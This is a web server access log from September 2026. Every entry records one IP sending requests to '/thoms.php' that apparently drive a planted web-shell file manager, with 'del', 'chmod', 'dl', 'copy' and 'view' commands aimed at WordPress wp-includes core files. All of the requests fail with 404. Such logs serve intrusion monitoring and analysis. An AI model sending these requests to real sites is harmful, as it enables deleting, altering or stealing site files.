45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?del=default-filters.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?del=l10n.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fl10n.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fl10n.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?chmod=blocks.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?del=class-wp-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fabilities.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fabilities.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?del=post-formats.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?del=class-wp-roles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?chmod=rewrite.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fscript-loader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fscript-loader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?chmod=taxonomy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:13 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?dl=wp-diff.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?del=class-feed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?chmod=ms-site.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?chmod=theme.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?dl=json-schema.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?del=class-wp-walker.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:14 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?del=block-i18n.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?del=error_log&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error_log&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?del=class-wp-block.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?del=deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:15 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?chmod=rss.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
